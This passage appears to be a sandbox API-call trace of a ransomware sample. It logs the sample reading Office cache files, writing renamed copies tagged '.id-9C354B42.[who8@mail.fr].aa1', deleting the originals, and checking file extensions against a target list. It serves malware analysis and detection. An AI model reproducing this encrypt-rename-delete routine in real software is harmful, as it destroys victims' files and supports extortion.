[0199.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0199.333] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.333] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.334] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0199.334] GetLastError () returned 0x0 [0199.334] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x32b, lpOverlapped=0x0) returned 1 [0199.397] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x330, lpOverlapped=0x0) returned 1 [0199.707] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.707] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.707] SetEndOfFile (hFile=0x17c) returned 1 [0199.707] CloseHandle (hObject=0x17c) returned 1 [0199.707] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.708] SetEndOfFile (hFile=0x198) returned 1 [0200.654] CloseHandle (hObject=0x198) returned 1 [0200.654] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.654] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0200.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.654] lstrlenW (lpString=".doc") returned 4 [0200.654] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.654] lstrlenW (lpString=".docx") returned 5 [0200.654] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0200.655] lstrlenW (lpString=".pdf") returned 4 [0200.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString=".xls") returned 4 [0200.655] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString=".xlsx") returned 5 [0200.655] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0200.655] lstrlenW (lpString=".ppt") returned 4 [0200.655] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.655] lstrlenW (lpString=".zip") returned 4 [0200.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.655] lstrlenW (lpString=".rar") returned 4 [0200.655] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString=".bz2") returned 4 [0200.655] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString=".7z") returned 3 [0200.655] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.655] lstrlenW (lpString=".dbf") returned 4 [0200.655] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.655] lstrlenW (lpString=".1cd") returned 4 [0200.655] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.656] lstrlenW (lpString=".jpg") returned 4 [0200.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.656] lstrlenW (lpString=".doc") returned 4 [0200.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString=".docx") returned 5 [0200.656] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0200.656] lstrlenW (lpString=".pdf") returned 4 [0200.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString=".xls") returned 4 [0200.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString=".xlsx") returned 5 [0200.656] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0200.656] lstrlenW (lpString=".ppt") returned 4 [0200.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.656] lstrlenW (lpString=".zip") returned 4 [0200.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.656] lstrlenW (lpString=".rar") returned 4 [0200.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.656] lstrlenW (lpString=".bz2") returned 4 [0200.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.657] lstrlenW (lpString=".7z") returned 3 [0200.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.657] lstrlenW (lpString=".dbf") returned 4 [0200.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.657] lstrlenW (lpString=".1cd") returned 4 [0200.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0200.657] lstrlenW (lpString=".jpg") returned 4 [0200.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.657] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.657] lstrlenW (lpString="Setup.xml") returned 9 [0200.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.832] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=6241) returned 1 [0200.832] CloseHandle (hObject=0x198) returned 1 [0200.832] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.832] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.832] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.832] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.832] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0200.867] GetLastError () returned 0x0 [0200.867] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x1861, lpOverlapped=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0200.877] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.877] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.877] SetEndOfFile (hFile=0x1b0) returned 1 [0200.877] CloseHandle (hObject=0x1b0) returned 1 [0200.878] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.878] SetEndOfFile (hFile=0x198) returned 1 [0200.879] CloseHandle (hObject=0x198) returned 1 [0200.879] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.879] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.879] lstrlenW (lpString=".doc") returned 4 [0200.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString=".docx") returned 5 [0200.880] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.880] lstrlenW (lpString=".pdf") returned 4 [0200.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString=".xls") returned 4 [0200.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString=".xlsx") returned 5 [0200.880] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.880] lstrlenW (lpString=".ppt") returned 4 [0200.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString=".zip") returned 4 [0200.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.880] lstrlenW (lpString=".rar") returned 4 [0200.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString=".bz2") returned 4 [0200.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString=".7z") returned 3 [0200.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString=".dbf") returned 4 [0200.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString=".1cd") returned 4 [0200.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString=".jpg") returned 4 [0200.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.880] lstrlenW (lpString=".doc") returned 4 [0200.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString=".docx") returned 5 [0200.881] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.881] lstrlenW (lpString=".pdf") returned 4 [0200.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString=".xls") returned 4 [0200.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString=".xlsx") returned 5 [0200.881] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.881] lstrlenW (lpString=".ppt") returned 4 [0200.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.881] lstrlenW (lpString=".zip") returned 4 [0200.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.881] lstrlenW (lpString=".rar") returned 4 [0200.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString=".bz2") returned 4 [0200.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString=".7z") returned 3 [0200.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.881] lstrlenW (lpString=".dbf") returned 4 [0200.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.881] lstrlenW (lpString=".1cd") returned 4 [0200.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.881] lstrlenW (lpString=".jpg") returned 4 [0200.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.882] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.882] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0200.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.882] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=819) returned 1 [0200.882] CloseHandle (hObject=0x198) returned 1 [0200.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0200.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.882] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.882] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0200.883] GetLastError () returned 0x0 [0200.883] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x333, lpOverlapped=0x0) returned 1 [0200.890] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x340, lpOverlapped=0x0) returned 1 [0200.891] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0200.891] SetEndOfFile (hFile=0x1b0) returned 1 [0200.891] CloseHandle (hObject=0x1b0) returned 1 [0200.891] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.891] SetEndOfFile (hFile=0x198) returned 1 [0200.892] CloseHandle (hObject=0x198) returned 1 [0200.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.893] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0200.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.893] lstrlenW (lpString=".doc") returned 4 [0200.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.893] lstrlenW (lpString=".docx") returned 5 [0200.893] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0200.893] lstrlenW (lpString=".pdf") returned 4 [0200.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.893] lstrlenW (lpString=".xls") returned 4 [0200.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.893] lstrlenW (lpString=".xlsx") returned 5 [0200.893] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0200.893] lstrlenW (lpString=".ppt") returned 4 [0200.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString=".zip") returned 4 [0200.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.894] lstrlenW (lpString=".rar") returned 4 [0200.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString=".bz2") returned 4 [0200.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString=".7z") returned 3 [0200.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString=".dbf") returned 4 [0200.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString=".1cd") returned 4 [0200.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString=".jpg") returned 4 [0200.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.894] lstrlenW (lpString=".doc") returned 4 [0200.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString=".docx") returned 5 [0200.894] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0200.894] lstrlenW (lpString=".pdf") returned 4 [0200.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString=".xls") returned 4 [0200.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.894] lstrlenW (lpString=".xlsx") returned 5 [0200.894] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0200.894] lstrlenW (lpString=".ppt") returned 4 [0200.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.895] lstrlenW (lpString=".zip") returned 4 [0200.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.895] lstrlenW (lpString=".rar") returned 4 [0200.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.895] lstrlenW (lpString=".bz2") returned 4 [0200.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.895] lstrlenW (lpString=".7z") returned 3 [0200.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.895] lstrlenW (lpString=".dbf") returned 4 [0200.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.895] lstrlenW (lpString=".1cd") returned 4 [0200.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0200.895] lstrlenW (lpString=".jpg") returned 4 [0200.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.895] lstrcmpiW (lpString1=".chm", lpString2=".aa1") returned 1 [0200.895] lstrlenW (lpString="setup.chm") returned 9 [0200.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.895] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=67190) returned 1 [0200.896] CloseHandle (hObject=0x198) returned 1 [0200.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0200.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all 